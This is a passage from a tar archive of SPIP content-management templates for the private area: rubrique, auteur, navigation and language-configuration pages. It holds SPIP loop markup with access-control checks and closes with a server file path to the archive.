(#SET{table,#CLE|table_objet})][ (#SET{statut,[(#CLE|=={article}|?{[(#SESSION{statut}|statuts_articles_visibles)],''})]}) ][(#GET{table}|trouver_fond{prive/objets/liste/} |?{#INCLURE{fond=prive/objets/liste/#GET{table},env,recherche=#ENV*{recherche},statut=#GET{statut},par=points}}) ]</BOUCLE_tables> [(#VAL{info_recherche_auteur_zero}|_T{#ARRAY{cherche_auteur,#ENV{recherche}}}|wrap{'<h3>'})] <//B_tables> <//B_num> contenu/rubrique.html000060400000003422152526346700010752 0ustar00[(#AUTORISER{voir,rubrique,#ID_RUBRIQUE}|sinon_interdire_acces)] <BOUCLE_rubrique(RUBRIQUES){id_rubrique}{statut?}{si #ENV{exec}|=={rubrique}}> [(#LANG|changer_typo)] [(#BOITE_OUVRIR{[ [(#AUTORISER{modifier,rubrique,#ID_RUBRIQUE}) [(#ID_RUBRIQUE|afficher_qui_edite{rubrique}|non) [(#URL_ECRIRE{rubrique_edit,id_rubrique=#ID_RUBRIQUE}|icone_verticale{<:icone_modifier_rubrique:>,rubrique,edit,right ajax preload})] ] [(#ID_RUBRIQUE|afficher_qui_edite{rubrique}|oui) [(#URL_ECRIRE{rubrique_edit,id_rubrique=#ID_RUBRIQUE}|icone_verticale{#ID_RUBRIQUE|afficher_qui_edite{rubrique},warning-24,'',right edition_deja ajax preload})] ] ] <h1[ class="(#EDIT{titre})"]>[(#RANG). ](#TITRE|sinon{<:info_sans_titre:>})[(#CHEMIN_IMAGE{#ID_PARENT|?{rubrique-24.png,secteur-24.png}}|balise_img{rubrique,cadre-icone})]</h1> ],simple fiche_objet})] [(#REM|changer_typo)] <div id="wysiwyg"> <h2 class="invisible"><:previsualisation:></h2> <INCLURE{fond=prive/objets/contenu/rubrique,id=#ID_RUBRIQUE,id_rubrique=#ID_RUBRIQUE,ajax=wysiwyg,wysiwyg=1,espace_prive}> </div> <!--affiche_milieu--> #BOITE_FERMER [(#PIPELINE{affiche_enfants,[(#ARRAY{args,#ARRAY{exec,rubrique,id_rubrique,#ID_RUBRIQUE,objet,rubrique,id_objet,#ID_RUBRIQUE},data,#INCLURE{fond=prive/objets/contenu/rubrique-enfants,id_rubrique,env}})]})] #PIPELINE{afficher_complement_objet,#ARRAY{args,#ARRAY{type,rubrique,id,#ID_RUBRIQUE},data,'<div class="nettoyeur"></div>'}} [(#CONST{_AJAX}|oui) <script type="text/javascript">/*<!\[CDATA\[*/reloadExecPage('#ENV{exec}','#navigation,#chemin,#extra');/*\]\]>*/</script> ] </BOUCLE_rubrique> [(#ENV**{exec}|=={rubrique_edit}|?{#INCLURE{fond=prive/squelettes/contenu/rubrique_edit,redirect='',env,retourajax=oui},#REM|sinon_interdire_acces{'',<:info_aucun_rubrique:>}})] <//B_rubrique> contenu/navigation.html000060400000000131152526346700011245 0ustar00<INCLURE{fond=prive/squelettes/inclure/menu-navigation, menu, bloc=contenu, env} /> contenu/auteur.html000060400000004306152526346700010423 0ustar00[(#AUTORISER{voir,auteur,#ID_AUTEUR}|sinon_interdire_acces)] <BOUCLE_auteur(AUTEURS){id_auteur}{statut==.*}{si #ENV{exec}|=={auteur}}> [(#LANG|changer_typo)] [(#BOITE_OUVRIR{[ [(#AUTORISER{modifier,auteur,#ID_AUTEUR}) [(#ID_AUTEUR|afficher_qui_edite{auteur}|non) [(#URL_ECRIRE{auteur_edit,id_auteur=#ID_AUTEUR}|icone_verticale{<:admin_modifier_auteur:>,auteur,edit,right ajax preload})] ] [(#ID_AUTEUR|afficher_qui_edite{auteur}|oui) [(#URL_ECRIRE{auteur_edit,id_auteur=#ID_AUTEUR}|icone_verticale{#ID_AUTEUR|afficher_qui_edite{auteur},warning-24,'',right edition_deja ajax preload})] ] ] <h1[ class='(#EDIT{nom})']>[(#RANG). ](#NOM|sinon{<:info_sans_titre:>})[(#CHEMIN_IMAGE{auteur-24.png}|balise_img{auteur,cadre-icone})]</h1> ],simple fiche_objet})] [(#REM|changer_typo)] <!--affiche_milieu--> [(#ENV{email_confirm}|oui) #BOITE_OUVRIR{'','notice'}<p><:form_auteur_envoi_mail_confirmation{email=#ENV{email_confirm}}:></p>#BOITE_FERMER ] [(#ENV{email_modif}|oui) #BOITE_OUVRIR{'','success'}<p><:form_auteur_email_modifie:></p>#BOITE_FERMER ] <div id="wysiwyg"> <h2 class="invisible"><:previsualisation:></h2> <INCLURE{fond=prive/objets/contenu/auteur,id=#ID_AUTEUR,id_auteur=#ID_AUTEUR,exec=#ENV{exec},wysiwyg=1,espace_prive}> </div> #PIPELINE{afficher_complement_objet,#ARRAY{args,#ARRAY{type,auteur,id,#ID_AUTEUR},data,'<div class="nettoyeur"></div>'}} #BOITE_FERMER #SET{enfants,''} [(#PIPELINE{affiche_enfants,[(#ARRAY{args,#ARRAY{exec,#ENV**{exec},objet,auteur,id_objet,#ID_AUTEUR},data,#GET{enfants}})]})] [(#ENV{id_auteur}|intval|oui) #SET{statuts,#SESSION{statut}|statuts_articles_visibles} [(#ID_AUTEUR|=={#SESSION{id_auteur}}|oui) #SET{statuts,''}] [(#PIPELINE{affiche_auteurs_interventions,#ARRAY{args,#ARRAY{id_auteur,#ID_AUTEUR},data,#INCLURE{fond=prive/objets/liste/articles,id_auteur,statut=#GET{statuts},par=date,titre=<:info_articles_auteur:>,env,ajax}}})] ] [(#CONST{_AJAX}|oui) <script type="text/javascript">/*<!\[CDATA\[*/reloadExecPage('#ENV{exec}','#navigation,#extra');/*\]\]>*/</script> ] </BOUCLE_auteur> [(#ENV**{exec}|=={auteur_edit}|?{#INCLURE{fond=prive/squelettes/contenu/auteur_edit,env,retourajax=oui},#REM|sinon_interdire_acces{'',<:info_aucun_auteur:>}})] <//B_auteur> contenu/configurer_langue.html000060400000000333152526346700012610 0ustar00[(#AUTORISER{configurer,_langue}|sinon_interdire_acces)] <h1 class="grostitre"><:info_langues:></h1> <div class="ajax"> #FORMULAIRE_CONFIGURER_LANGUE </div> <div class="ajax"> #FORMULAIRE_CONFIGURER_TRANSCODEUR </div>
/home/histoio/www/f41a3/./../../www/IMG/../f41a3/../squelettes/css/6697f/squelettes.tar